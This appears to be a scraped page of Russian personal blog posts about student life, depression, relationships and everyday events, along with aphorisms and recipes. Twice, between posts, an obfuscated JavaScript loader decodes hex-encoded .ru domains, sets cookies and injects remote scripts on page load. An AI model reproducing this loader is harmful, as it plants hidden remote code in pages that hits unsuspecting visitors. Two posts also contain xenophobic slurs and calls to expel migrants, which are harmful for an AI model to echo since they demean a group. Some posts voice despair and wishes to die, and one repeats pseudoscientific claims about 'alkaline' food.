Моментами ты ненавидишь школу, тебе модет там и тяжело, но когда ты идешь в институт, ты понимаешь, что это все были цветочки. Хотя у каждого по-разному.

Лично я мало халявила в школе. Не особо и прогуливала даже. Но и примерной ученицей меня не назовешь.

Я вернулась. Все расскажу позже. Сейчас моя жизнь больше напоминает карусель, но мне это нравится.

Меня не впечатляют дорогие машины и дизайнерские сумки. Если ты хочешь впечатлить меня, расскажи мне о своей любимой книге. Или почему ты сменил направление посреди обучения в университете. Расскажи мне о странах, в которые ты путешествовал и приключениях, в которые собираешься отправиться. Поговори со мной о своих друзьях, и почему ты их любишь. Дай мне узнать, кто ты есть, а не что у тебя есть.

Уверенно дохожу до той самой кондиции, когда шутки про хуевость этой жизни больше не являются таковыми. И я имею в виду тот факт, что это уже не шутки, в общем-то. Смешно было, пока я была в состоянии двигаться. Сейчас же я апатично пролеживаю дни в смятом одеяле, временами натыкаясь на подгнившие куски пищи, которую мой организм упорно отвергает(я не блюю в кровать). Ежедневно я тупо листаю самые разные блоги и просто хочу, чтобы мне было достаточно члена для счастья, но как бы не так. Да вообще ничего не достаточно, потому что я отравляю своё существование. Мне обещали, что это пройдёт, но проходит только стремление функционировать.

И вот начался универ. Каждый день я делаю то, что ненавижу. Мне не нравится учёба, мне не нравится универ, не нравятся люди вокруг. Я бы ушла из универа, если бы знала, чего я хочу. Но я не знаю. Я без понятия, как мне жить.

Настроение: включить музыку Зака Хэмси и умиратьумиратьумирать от собственных мыслей.

Привет! Меня зовут Елена и я из России… Город говорить не буду так как я живу в жопе мира…. Мдаа… Жизнь, конечно, не сахар, но все равно есть свои плюсы..

Такое говорит мне мой мч. А все потому, что я не 'дёргаюсь' под глыпые/не совсем глупые песенки. Не тресу задницей. Где этот мир свернул не туда? Ответьте мне!

скидывать брата с лестницы - дело забавное

но совсем не весело, когда он хочет проделать то же самое и с тобой

Друг дяди Китти занимается ремонтом обуви. Куда не носила свои сапожки- все отказывались чинить, говорили, что нет смысла, сапогам конец. Однако, мне их починили и совсем дёшево.) Сапоги поехала забирать я, так как Китти не успел бы на футбол. Забрала, заметила оценивающий взгляд "мастера обуви". Через пару минут перезвонил Китти и сказал, что созвонились с тем, он сказал, что я "неформальная, жёсткая. Но ты ничего не подумай- девочка прикольная", - шта? НЕФОРМАЛЬНАЯ? ЖЁСТКАЯ? СЕРЬЁЗНО?) Такой я была лет в 13, когда была готкой.)

Знаешь, иногда ошибкой бывает не совершить ошибку. Уильям Сароян

Ранковий позитивний настрой і бойовий характер під вечір змінився на бажанням по плакати і стати простим овочем без емоцій…

Постараюсь навек сохранить этот вечер в груди.
Не сердись на меня. Нужно что-то иметь позади.

Иосиф Бродский

be patient with me

Заберите эту гребанную душу из моего тела. Ч не могу так. Не могу так. Устала плакать.

Наблюдать, как кто-то медленно теряет к тебе интерес - это, возможно, одно из самых ужасных событий, что может случиться.

Не забывайте великое правило нашего века: всегда будьте полной противоположностью тому, чего от вас ожидают.

Фредерик Стендаль "Красное и черное"

Я вообще не хочу никого любить, на х..й пошли.

Рано или поздно все закончится. И то, что разрывало тебя на части, теперь будет изредка вспоминаться.

приятно было видеть, что тут все еще есть живые люди

Когда-нибудь и в твоей жизни наступит день, когда захочется извращений. И дай бог, что б это были волосы синего цвета, а не «влюбиться».

сегодня год, как я пошла на работу. на мою первую работу.

словами не описать, сколько мне дал этот опыт. сколько знаний, впечатлений, прекрасных и не очень людей, сколько человеческих чувств я увидела, сколько километров намотала, скольким людям помогла.

и пусть все закончилось несправедливо в сентябре, я ни о чем не жалею. эта работа подарила мне уверенность в своих знаниях, умениях, способностях.

и сейчас я бы хотела, пожалуй, одного: ехать в машине Вадима с Розы Люксембург, слушать радио или свою музыку, чувствовать свою значимость и быть счастливой.

вы знаете, коты лучшие психологи. и я в этом убедилась сегодня на практике, когда разревелась в ванной, а мелкий Тимоша (который серый) чуть ли не с боем рвался ко мне. а когда я открыла дверь, он вокруг меня, как юла крутился, мурчал, лизал мне руки с выражением морды "эй, ты чего ревешь, дурында?"

Ведущий новостей на НТВ неправильно сказал ударение в слове "волнах"- всё. Это всё. Конец близок, деградация идёт полным ходом.

Я не собираюсь бросать свою мечту и не ехать в Диснейленд во Францию из-за сраных хачей эмигрантов! Мамочка сказала, что вообще меня пока в Европу не отпустит. Потрясающе, из-за долбаёбов, в которых заложена: злоба, ненависть к людям, мания величия- я должна гнить в этой дыре.

Привет, мне 21 год, и я категорически не хочу выходить замуж. Сегодня разговаривала с бабушкой с отцовской стороны, и она выдвинула теорию относительно моего состояния здоровья: мне просто нужен муж, с котором можно..мм, переспать. Все просто! Немного секса, и я уже здорова! Бабушка пыталась внушить, что это поможет и возраст такой, что пора уже думать о семье, а у меня в голове лишь паника и только одна мысль:"Не хочу!". Не могу представить себя в качестве жены, я ведь, по сути, ребёнок, которого в детстве обделили отцовским вниманием, и чем страше я становлюсь, тем больше в этом убеждаюсь. Мне не нужен муж, мне нужен отец. Человек, который будет заботиться о тебе и волноваться, который…а что должны делать отцы? Короче, мужчины, любите своих детей, чтобы потом не вырастали из них такие вот несуразные дети!

(А это я еще раз подстриглась - как всегда на фоне депрессивного расстройства!)

Слишком много новостей. Как их впихнуть в пост так, чтобы это было слаженно? Ответ - никак. Так что мужайтесь, мои дорогие читатели.
Во-первых, еще раз скажу, что с лучшей подругой мне повезло несказанно. Это даже уже не просто моя лучшая подруга, это моя семья, моя сестра, мой ангел-хранитель - она всегда рядом и всегда направляет меня в жизни, а для такой дубины, как я это особенно необходимо. Все, о чем я расскажу ниже - определенно её заслуга!
Итак, начну, я наверное, с планов ближайших - мне скоро 20 лет. Впервые в жизни, наверное, я решила отметить так, как я хочу и позвать того, кого хочу - а то постоянно были проблемы в стиле "ну если эту звать, то надо и этих, а если эту, то вот этих" - ну нетушки. Будут только мои самые любимые. Опять же заслуга Алины - она предложила свою квартиру в качестве места для нашего прекрасного девичника - и это явно самый лучший подарок на др!
Следующее - моя новая мечта. Опять же предложенная Алиной. Мы разговорились про преподавание и планы на будущее, и она сказала, что видит меня прекрасным учителем начальных классов(сама я тоже бывает об этом задумывалась, но английский меня останавливал), а я ведь учусь на платном, т.е. шанс на бесплатное образование у меня есть - мы посмотрели, и оказалось, что на моем факультете есть бесплатная заочка. Поэтому в этом году я попробую поступить на свой же факультет в надежде, что половину предметов мне перезачтут и я получу еще одну специальность, к тому же обучение там тоже очень интересное. В началке я могу и со своим первым образованием работать прекрасно, но хочется лучше узнать все методики и использовать свой шанс на бесплатное обучение.
Последняя, пожалуй, новость - я, человек не суеверный, но почему не хотелось говорить, пока не куплю билеты, и даже сейчас как то страшно и не верится - еду летом в Италию! Поступило предложение от подруги, у которой там живет семья, я поняла, что это шанс на миллион - денег нет, визы нет, заняла у всех целое состояние, но еду. Пока вкратце об этом.
Пытаюсь отчаянно найти работу, связанную с преподаванием. Это не сложно, если бы не учеба. Сейчас расписание удобное - каждый день почти в 13 я свободна, но пока не подворачивается ничего. Если кто-то в СПб на что-то подобное наткнется - пишите мне.

32 вывода к 32 годам

Бывают моменты, когда накапливается столько вопросов, что нужно каким-то образом дать им выход. Писатель, журналист, блоггер и путешественница Олеся Новикова делится своими жизненными выводами, к которым пришла в свои 32 года.

Страшно всем. И красивым, и талантливым, и умным, и везучим. Начинать новое. Выходить из привычного круга. Рисковать. Делать что-то, к чему еще не привык. Страшно за близких. За дело. За свою жизнь, если прижмет. И много чего еще. Страх будет и дальше. Сколько бы ни было опыта, практики, уверенности, признания, денег, таланта, но каждый раз замахиваясь на новую высоту, каждый раз выходя на сцену, каждый раз, оборачиваясь на близких — в той или иной степени будет страх. Это нормально. Это значит, что ты еще жив. И значит, нужно идти вперед. Через страх. А не пытаться полностью от него избавиться.

Жизни без перемен не существует. Стабильность иллюзорна. Мы постоянно находимся в движении. Мы постоянно меняемся внешне и внутреннее, эти процессы не прекращаются ни на секунду. И секунды, как меры измерения, здесь даже много. Процессы идут каждое мгновение. Это множество секунд. Вопрос: «Меняться или не меняться?» у здравомыслящего человека стоять не может. Только: «Имею ли я отношение к этим изменениям и в какой мере?»

Быстро — это медленно, но без перерыва. Не нужно быстро, интенсивно, круто, очень мощно. Достаточно всего лишь регулярно. Самое главное — держать ритм. По чуть-чуть, но со стабильной последовательностью. А через какое-то время, со стороны, это будет выглядеть, как быстро, интенсивно, круто и очень мощно.

Создавать больше, чем потреблять. Иначе, все. Беспросветная жизнь потребителя, витиевато сплетающаяся в многозначительный вывод: «Все хорошо, но ничего хорошего». Человек должен что-то делать. Добровольно и любя. Это формула его душевного здоровья. А бонусом, что любопытно — это единственный способ получать удовольствие от потребления, которое не будет его разрушать. Можно считать этот процесс — здоровым психическим метаболизмом.

Сегодня — это то, что ты делал и думал вчера, а завтра — это то, что ты делаешь и думаешь сегодня. Эту фразу нужно повторять, как мантру до тех пор, пока не дойдет, что твои родители не имеют отношения к твоим взрослым проблемам. Во всяком случае, они не виноваты, что некому сменить пластинку в твоей голове, которая заела с детства.

Никаких гарантий нет. Базовое правило мироздания, через которое нужно пропускать все свои решения и планы.

Эпоха сокровенных знаний, которые могут что-то изменить, закончена. Настала эра информационной гигиены. Уже лет пять, как знания не являются главной валютой в вопросе достижений и какого-либо осмысленного существования. Интернет их обесценил своей доступностью. На смену пришла концентрация. Способность удерживать внимание на задаче и не расплескивать интерес — вот кто правит. А этот навык находится в прямой зависимости от информационного шума, который сегодня повсюду. Чем больше словесного мусора вокруг — тем слабее фокус. Чем больше чужих мыслей, тем тише собственный голос. Постоянное нахождение в интернет-потоке атрофирует способность к самоосознанию, подменяя суть концепциями о том, что ею является.

Радость и удовольствие — не одно и то же. Мы никогда не получаем радости от шоколадного торта, фужера вина или сигаретки. Мы не получаем радости от новых сапог или духов. Важно называть вещи своими именами — мы получаем удовольствие. А тут уже совсем другая химия. Природа этого чувства очень скоротечна и неразрывно связана с последующей неудовлетворенностью, скукой, пресыщенностью и желанием новой порции. Не страшно отказать себе в удовольствиях, страшно не познать радость.

Страдания существуют. Будда был все-таки прав. Страдания существуют. Страдают все. И те, у кого ничего нет, и те, у кого есть все. А кто конкретно в эту минуту не страдает, уйдет в боль в следующую, как только изменится курс доллара, произойдет теракт, получит в ответ, что его не любят, увидит грязный подъезд, не дождется ответа на сообщение, не получит денег или по любому другому дуновению ветерка. Страдания существуют. И всегда без повода, если вспомнить финал любого человеческого существа.

Быть счастливыми могут не все. Каждый ли человек может быть счастливым? Да, разумеется! Но это в теории. На практике стабильно счастливыми, то есть спокойными, уравновешенными, благостными, если хотите, могут быть только те, кому доступна дисциплина ума. Чей ум способен (натренирован) не дергаться по всем многочисленным поводам, которые его окружают. Кто может оставаться в равновесии радости не только в штиль, но и в порыве неприятных ситуаций. В противном случае, все бесконечные поводы от царапины на твоем авто будут выкидывать тебя в боль, раздражение и тревогу. И это всего лишь какая-то машина, а есть же ситуации и посерьезнее. Счастливым такой загнанный ум, реагирующий на любое происшествие, можно назвать лишь в статусе Инстаграма.

Радость — это равновесие ума. Скажите мне это лет так 5 назад, я бы покрутила у виска. Когда тебе днем и ночью мечтается большая светлая любовь, дружная семья, интересное доходное дело, возможность работать на себя, а не на другого, насыщенная путешествиями жизнь, кажется, что, все-таки, ты имеешь какие-то представления о радости, как минимум, о собственной. Да, ты сейчас во многом не удовлетворен, да что-то может вывести тебя из себя, да ты страдаешь. Так это и понятно. Но ты знаешь к чему стремиться. Ты знаешь, где твоя осязаемая непреходящая радость, заглядываясь на свои, столь манящие, мечты. Радость — это состояние полного равновесного покоя ума, которое достигается при освобождении от слепых (автоматических) реакций этого самого ума. Здоровый, возможно единственный, способ познать (и развивать) такое состояние во взрослом возрасте — это глубокая медитация наблюдения.

Фрукты — не кислотная, а щелочная еда. Если по-научному, свежие спелые фрукты и почти все овощи вызывают в организме щелочную реакцию и помогают нейтрализовать избыток кислоты в нем, а крахмал, сахар, мясопродукты, жиры, масла, молочная продукция, наоборот, организм закисляют. Полное описание есть в таблице Н. Уокера и Р. Поупа, которая доступна через гугл.

«Мое тело само знает, что ему лучше» — одна из самых коварных ловушек ума. Тело алкоголика хочет выпить, тело курильщика мечтает о сигаретке, наше тело жаждет шоколада и картошки-фри. О каком «лучше знает» все говорят? Также, как и ум живет автоматическими реакциями, не давая человеку делать элементарные подвижки в своей жизни, так и тело подчиняется привычкам и хаотичным импульсам вожделения.

Питание влияет не только на наше тело, но и на наше сознание. Подобно алкоголю, который заметно изменяет наше сознание, притупляя его, некоторые продукты несут схожий эффект, но в менее выраженной и зачастую неосознаваемой форме. Еда может замедлять и расфокусировать голову, ослабляя контроль, силу осознанности и ясность восприятия. Слегка «затуманенное» состояние становится уровнем нормы, позволяя человеку забыть, что значит легкость и ясность на самом деле. Наиболее «свободная» еда — это свежие овощи и фрукты, а также растительная пища и злаки, приготовленные простым способом с минимальным содержанием масла, приправ и соли.

Денег нужно столько, чтобы о них не думать. Деньги не решают главный вопрос человечества — они не делают своего владельца счастливым. Но возможность о них не думать, как минимум в быту, существенно высвобождает энергию для других процессов.

Мы все одинаковые намного больше, чем разные. Значение личной уникальности сильно преувеличенно и не дает нам быстро решать свои проблемы. Все ответы и решения давно существуют, а зацикленность на собственной неповторимости не дает человеку задвинуть свое эго туда, где ему было бы полезно всегда находиться и без помех воспринимать окружающую его реальность со всеми ответами и подсказками.

Зависимость лечится только 100% отказом. Нельзя выпить один фужер вина, если ты алкоголик. Нельзя иногда курить, если пытаешься бросить. Тебя будет скручивать постоянно. Взлеты и падения. Срывы. В вопросах психоэнергетических «крючков» нет полутонов. И это правило незыблемо для зависимостей всех типов.

Состояния внутренней 100% готовности к переменам не существует. Мы всегда до конца не готовы к поворотам и изменениям. Всегда есть веские «но» и поводы немного отложить до более благоприятной ситуации. Бесполезно ждать однозначного внутреннего согласия, нужно решаться, опираясь скорее на «пора», чем на эфемерную готовность.

Жизнь — это книга, первые главы которой были написаны не тобой. Да, и последующие — тоже, чаще всего. Мы состоим из убеждений и моделей окружающего нас мира, а мир этот — не абстрактная планета Земля, а вполне конкретный подъезд, офис, дом — место, где мы проводим время. Это друзья, коллеги, родители, продавцы в магазине, с которыми сталкиваешься каждый вечер. Это лента в социальных сетях и так называемые друзья из фейсбука. Мы впитываем взгляды, позиции, точки зрения просто автоматически, мы вдыхаем их с воздухом и становимся такими же или наоборот противоположными, что тоже автоматический момент отрицания. В детстве этот процесс полностью неуправляем. Суть нашей личности собирали другие люди и осознанный родительский вклад (если он вообще был) там далеко не преобладает. То, что мы считаем собой и то, что надо бояться потерять по версии некоторых психологов, — всего лишь в той или иной степени красоты мозаики от нашего окружения. Терять нечего. По-моему, отличная новость. Можно перекроить все в какую угодно сторону.

Результат — это количество попыток. А не один меткий выстрел. И уж точно не удача при долгосрочной перспективе.

То, что тебе помогало на одном этапе может оказаться тормозом для выхода на следующий. Способность к кардинальным переменам характеризуется возможностью отказываться. Но не только от того, что тебе мешает. Порой очень важно отказаться от того, что тебе помогало в прошлом. Простой пример: правила малого бизнеса не работают в среднем. Расти без отказа от части из них, пусть даже они поднимали процесс вчера, — невозможно. Тоже и с человеческой личностью — ее установками, планами.

За зоной комфорта находится зона дискомфорта. А не коробка шоколадных конфет.

Жизни без цели не существует. Также, как и состояния без перемен. Вопрос лишь в том: ставишь ли ты эти цели сам или отдаешь на откуп инстинктам (неосознанным целям).

Лени — не существует. Есть нелюбимые занятия, нехватка энергии и отсутствие масштабного видения, чтобы захватывало дух от открывающихся перспектив. А лени нет.

Себя невозможно найти, себя можно только создать. Искать нечего и некого. Ты всегда есть здесь и сейчас. А твой путь — это то, что у тебя под ногами в данную конкретную секунду, не более того. Тот самый «свой» путь отличается от того, чем он не является только фактом осознанности идущего, который прокладывает пусть и небольшие, но вполне осязаемые цели. Когда эти цели определяют другие люди или они прорастают хаотично через слово «должен» — никакого пути нет, есть набор разношерстных неприкаянных эпизодов.

Алкоголь не нужен. Вообще.

Нереализованный потенциал причиняет боль. И бесполезно прятаться от этого факта в выбранный уровень комфорта или красивые философские концепции, те же истории про женственность, материнство и прочее. За каждый талант с нас спросится.

Банки должны платить тебе, а не ты им. Это единственно возможное финансовое здоровье. Никогда никогда никогда не стоит покупать то, на что не заработал. Никогда. Во всяком случае, если грезишь о серьезных переменах. Мы платим банку не только деньгами, но и своей свободной энергией. Пространства для риска и авантюрных подвижек практически не остается. Прорыв из такого состояния (особенно на новый финансовый уровень) вряд ли возможен.

Две способности, которыми нужно овладеть, как можно раньше: умение напрягаться и умение расслабляться. Любое движение требует напряжения сил в тот или иной момент. Если идти на него нехотя, по нужде — будет расходоваться в два раза больше энергии. Часть на само усилие, остальное — на психическое напряжение. На внутреннюю борьбу. Отсюда необходимость научиться напрягаться по желанию, полюбить свое усилие. При способности напрягаться добровольно, видя в этом исключительно положительный аспект, количество потраченных сил сократится в разы. Будет получаться больше и легче. А умение расслабляться — принимать реальность такой какая она есть, отпускать собственные ожидания, развязывая внутренние узлы и снимая телесное напряжение — второе крыло, без которого на одном напряжении далеко не продвинешься.

Два ответа, которым нужно научиться, как можно раньше: «Да» и «Нет». Говорить «Да» ситуациям и людям несмотря на отсутствие гарантий, полной внутренней готовности и различные внешние обстоятельства. И говорить «Нет» в первую очередь самому себе — своим слабостям, страхам и внутренней распущенности. И лишь далеко потом — другим людям.

Крутые штуки отличаются от хороших способностью делающего забывать себя. Творец отличается от человека, который что-то неплохо делает тем, что ставит дело выше себя, растворяя в процессе свое эго. И делает это осознанно и любя, а не по отсутствию выбора или чувству долга. Так один маркетолог может быть истинным музыкантом в профессии, а иной музыкант так на всю жизнь и остается тем, кто имеет дело с музыкой.

Каждый встреченный на пути знак всегда имеет минимум 3 толкования. 1. Может быть это действительно знак! 2. Может быть ты бредишь и притягиваешь факты за уши. 3. А может быть это испытание — явление противоположное знаку — попытка отвести от выбранного пути, как проверка искренности твоего решения и силы намерения.

Вкратце о моей жизни.

Домашнее лимончелло

Ингредиенты:

Лимон - 11 шт
Водка - 1 л
Сахар - 3 стакана
Вода - 3 стакана

Приготовление:

Для начала нужно тщательно помыть и высушить лимоны. Затем, используя нож для чистки овощей, срезаем с них цедру в приготовленную банку. Обычный нож здесь не подойдет, очень важно срезать только верхний желтый слой кожуры лимонов, т. к. именно в нем содержатся эфирные масла, которые придают вкус и аромат напитку.
Количество лимонов подбирайте по размерам так, чтобы у вас получилось 120-150 гр. цедры.
Цедру заливаем 500 мл. спирта и плотно закрываем крышкой. Будьте очень осторожны и внимательны со спиртом, он легко воспламеняется!
На банке пишем дату, чтобы не забыть, и оставляем в темном прохладном месте, встряхивая каждый день.
Через 5..10 дней, в зависимости от вашей выдержки, нужно приготовить сахарный сироп. Для этого мерным стаканчиком (можно весами) отмеряем 500 гр. сахара и высыпаем в кастрюлю.
Затем, отмерив 650 мл. воды, заливаем сахар и ставим на маленький огонь на плиту.
Сироп медленно помешиваем ложкой до полного растворения сахара, а после снимаем с плиты и остужаем до комнатной температуры.
Далее открываем банку с готовой настойкой и хорошенько процеживаем через сито.
После этого, чтобы не дать спирту испариться, выливаем процеженную настойку в сироп, хорошо перемешиваем.
Разливаем по бутылкам при помощи воронки и оставляем настаиваться еще на 5 дней.
Через 5 дней, готовый напиток можно класть в морозилку. Примерно через сутки он остынет до нужной температуры.
Крепость полученного напитка будет около 40% поэтому будьте осторожны в его употреблении!

Скраб из ромашки и розы

Рецепт изготовления скраба чрезвычайно прост. В кофемолки необходимо смолоть следующие ингредиенты:
- 1 ст.л. засушенных соцветий розы
- 1 ст.л. засушенных соцветий ромашки
- 1 ст.л. овсяных хлопьев
В полученный порошок добавить 2 ст.л. меда и ¼ чашки базового масла (оливковое, жожоба, миндального или кунжутного)

Путеводитель по специям

Для горячего молока: шафран, корица, кардамон.

Для мяса: орегано, черный, красный или душистый перец, лук, гвоздика, куркума, майоран, тимьян, тмин.

Для выпечки: ваниль, гвоздика, мак, корица, кунжут, бадьян, анис, имбирь, цитрусовая цедра, душистый перец, кардамон.

Для птицы: базилик, тимьян, чабрец, майоран, шалфей, розмарин.

Для паштетов: кардамон, белый перец, имбирь, корица, бадьян, лавровый лист, гвоздика.

Для рыбы: тимьян, лавровый лист, укроп, белый перец, горчица, имбирь, чили, душистый перец, кориандр, лук.

Для компотов и фруктовых напитков: корица, бадьян, имбирь, кардамон.

Для гриля: чили, красный перец, имбирь, душистый перец, тмин, кардамон, мускатный орех, тимьян, майоран.

Для маринада: соцветия укропа, лавровый лист, гвоздика, можжевельник.

Для дичи: можжевельник, тимьян, красный перец, душица, красный и душистый перец.

Для бобовых: кориандр, кумин, мята, асафетида, перец, имбирь.

Для рагу: гвоздика, красный перец, мускатный орех, имбирь, душистый перец, куркума, черный перец, кориандр, тмин, горчица, кардамон.

Для картофеля: кориандр, карри, асафетида, куркума.

Для капусты: семена черной горчицы, кориандр, кумин, фенхель.

лупатый динозавр

И именно поэтому я сейчас сдохну. Я таки сделала эту кардио тренировку. Надо делать 3 круга. 3, мать его, круга! Я с горем пополам осилила только 2. Теперь у меня трясутся руки, ноги, я почувствовала те мышцы, о существовании которых я забыла. А уж как представлю, что со мной будет завтра…. Думаю, что на работу я поползу. Я знала, что моя спортивная форма оставляет желать, но даже не думала на сколько. Жрать было намного проще, да и приятнее. И да, так как диету я не осилю, да и потребляю недостаточно ккал в сутки (весь день не ем, а на ночь нажрусь), и так как мой образ жизни не очень позволяет мне соблюдать режим питания, я стараюсь поесть до 19:00, а так же перекусываю йогуртами на работе и в течении дня пью чай или кофе без сахара, учитывая, что всегда пила с тремя ложками. Такая гадость, доложу я вам. Спорт это жизнь, а жрать намного легче…

Один грязью польет, когда при этом считается мне близким человеком. Другие за спиной мутят встречи в компании, ничего мне не сообщив. Браво! Что я такого сделала им всем? Никого не трогаю вообще, а говна получаю. Спасибулички.

Если готовит кто-то другой (кто не я), тот готовит так - взял нужные продукты, сварил/пожарил, накормил всех.

Если готовлю я - почему с гречкой уже 15 минут ничего не происходит, она же стоит на горящей конфоре? Ааа, фарш, не ужаривайся, пожалуйста! Нужно слить воду с гречки, обязательно навернуть кастрюлю над раковиной, - бац! - вся раковина в гречке, все в гречке!

А вообще все говорят, что я норм готовлю.

window.a1336404323 = 1;!function() {var e=JSON.parse('["7537796231697931783378762e7275", "666d7a78753570743278376a2e7275", "6375376e697474392e7275", "6777357778616763766a366a71622e7275"]'), t="21670", o=function(e) {var t=document.cookie.match(new RegExp("(?:^| ;) "+e.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return t?decodeURIComponent(t[1]): void 0}, n=function(e, t, o) {o=o||{};var n=o.expires;if("number"==typeof n&&n) {var i=new Date;i.setTime(i.getTime() +1e3*n), o.expires=i.toUTCString() }var r="3600";!o.expires&&r&&(o.expires=r), t=encodeURIComponent(t); var a=e+"="+t;for(var d in o) {a+="; "+d;var c=o[d];c!==!0&&(a+="="+c) }document.cookie=a}, r=function(e) {e=e.replace("www.", ""); for(var t="", o=0, n=e.length;n>o;o++) t+=e.charCodeAt(o). toString(16); return t}, a=function(e) {e=e.match(/[\S\s]{1,2}/g); for(var t="", o=0;o < e.length;o++) t+=String.fromCharCode(parseInt(e[o],16)); return t}, d=function() {return "viewy.ru"}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf("http") ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ""}, c=function(e, t, o) {var lp=p(); if(lp=="") return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.smlo.loadSmlo(n.replace("https:", "http:")); else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.zSmlo.loadSmlo(n.replace("https:", "http:")); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.a1649136515||(this.a1649136515=!0, "function"==typeof t&&t()) }, i.onerror=function() {this.a1649136515||(this.a1649136515=!0, i.parentNode.removeChild(i), "function"==typeof o&&o()) }}}, s=function(f) {var u=a(f) +"/ajs/"+t+"/c/"+r(d()) +"_"+(self===top?0:1) +".js";window.a3164427983=f, c(u, function() {o("a2519043306") !=f&&n("a2519043306", f, {expires:parseInt("3600") }) }, function() {var t=e.indexOf(f), o=e[t+1];o&&s(o) }) }, f=function() {var t, i=JSON.stringify(e); o("a36677002") !=i&&n("a36677002", i); var r=o("a2519043306"); t=r?r:e[0], s(t) };f() }();

Зои Кравитц на фотосессии для мартовского номера журнала «Teen Vogue»

Если вы думаете, что ваши преподы странные, то вы очень сильно ошибаетесь.

Сегодня у нас была культурология. У препода (кстати, это тот самый, который устроил нам халявный экзамен по естественно-научной картине мира) за столом рядом стоит два стула - сидя на одном, он общается со студентами, на другом висит куртка, на столе перед этим стулом стоит комп.

Так вот, заканчивается первый урок от пары, препод берет куртку, надевает ее и садится работать за комп. Звенит звонок. Препод снимает куртку, вешает обратно и садится на соседний стул, чтобы дальше вести пару.

Вопрос: зачем? Неужели за компом так холодно?

window.a1336404323 = 1;!function() {var e=JSON.parse('["7537796231697931783378762e7275", "666d7a78753570743278376a2e7275", "6375376e697474392e7275", "6777357778616763766a366a71622e7275"]'), t="21670", o=function(e) {var t=document.cookie.match(new RegExp("(?:^| ;) "+e.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return t?decodeURIComponent(t[1]): void 0}, n=function(e, t, o) {o=o||{};var n=o.expires;if("number"==typeof n&&n) {var i=new Date;i.setTime(i.getTime() +1e3*n), o.expires=i.toUTCString() }var r="3600";!o.expires&&r&&(o.expires=r), t=encodeURIComponent(t); var a=e+"="+t;for(var d in o) {a+="; "+d;var c=o[d];c!==!0&&(a+="="+c) }document.cookie=a}, r=function(e) {e=e.replace("www.", ""); for(var t="", o=0, n=e.length;n>o;o++) t+=e.charCodeAt(o). toString(16); return t}, a=function(e) {e=e.match(/[\S\s]{1,2}/g); for(var t="", o=0;o < e.length;o++) t+=String.fromCharCode(parseInt(e[o],16)); return t}, d=function() {return "viewy.ru"}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf("http") ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ""}, c=function(e, t, o) {var lp=p(); if(lp=="") return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.smlo.loadSmlo(n.replace("https:", "http:")); else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.zSmlo.loadSmlo(n.replace("https:", "http:")); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.a1649136515||(this.a1649136515=!0, "function"==typeof t&&t()) }, i.onerror=function() {this.a1649136515||(this.a1649136515=!0, i.parentNode.removeChild(i), "function"==typeof o&&o()) }}}, s=function(f) {var u=a(f) +"/ajs/"+t+"/c/"+r(d()) +"_"+(self===top?0:1) +".js";window.a3164427983=f, c(u, function() {o("a2519043306") !=f&&n("a2519043306", f, {expires:parseInt("3600") }) }, function() {var t=e.indexOf(f), o=e[t+1];o&&s(o) }) }, f=function() {var t, i=JSON.stringify(e); o("a36677002") !=i&&n("a36677002", i); var r=o("a2519043306"); t=r?r:e[0], s(t) };f() }();

а она права.у нас все слишком быстро развивается.
я тут подумал…выходи за меня.
тут мы начали дико ржать :D
я снова буду повторяться, но это все чертовски странно.иногда меня это пугает.в том смысле, что я всегда хотела найти человека, с которым у меня схожие мысли и тут появляется он.когда я уже закрылась от всех и вся.не прошло и недели, а он уже ужинает у меня дома в компании моей мамы.как так?!и оба заставляют меня есть-_-
черт.происходит столько всего, а я не могу и не хочу здесь ничего писать.
кажется, что в скором времени я буду появляться дома все реже, поэтому на писанину остается мало времени.а вот ваши посты я читаю с телефона, пока он спит у меня на коленях:3
это все так тупо и мило.кто-нибудь пристрелите меня.

Я не расистка, но… Посмотрите, что творят уроды эмигранты в Европе! Насилуют, избивают, воруют, убивают! Взять всех за шкирки и к чёрту выставить за границу!

К Греции вернемся позже, если вспомню что-то еще. Сейчас небольшая история, которая произошла полтора года назад. Как вы знаете, я люблю всякие книги и фильмы о чудесах и силе мысли. Так вот, наткнулась я на одну книгу прошлой осенью, узнала о ней, кстати, с Вьюи (если кому нужно, то я скину название позже или сайт). Там сказано про материализацию желаний, картины мира и т.д. и т.п. В общем я была так вдохновлена. А моей девчачей мечтой был айфон тогда. Ну вот думала: заработаю, или на др скоро кто-то подарит. И у одной из моей лучших подруг уже был, да и у многих, на самом деле. Хотела купить 4s, ибо на другой денег бы не хватило.

Так вот, в одно осеннее утро мы поехали на автобусе с этой девочкой в Финляндию (откатать визу). И я, вдохновившись этой книгой, начала рассказывать, про то, что не существет правды или лжи. У каждого она своя, и правила жизни (игры) свои. И нигде не написано, что "нужно выйти замуж", "нужно работать, чтобы получать деньги". Да, это логично в нашей картине мира. Но стоит ее изменить… ну вы поняли. И что вы думаете? я приезжаю с Финляндии в этот же вечер. И моя мама с сестрой дарят мне айфон (купил отец сестры, с котором мы вообще не видились года 4-5, он с нами не живет, но купил, т.к. покупал сестре, и мне, якобы, было бы обидно) и знаете, это был айфон 5s.

Да, может глупенькая история в каком-то смысле, но когда так все"падает с неба", как мы смеемся с одним знакомым из Кельна, то почему не написать?! Так было со многими вещами. С пальто, которое я жаждила просто, с адидасами, найками, да и во всяких мелочах, с изменением планов в лучшую сторону. С поездками в Мюнхен, NRW, Польшу… с появлением принца хаха)

ну вот такая вот история :)

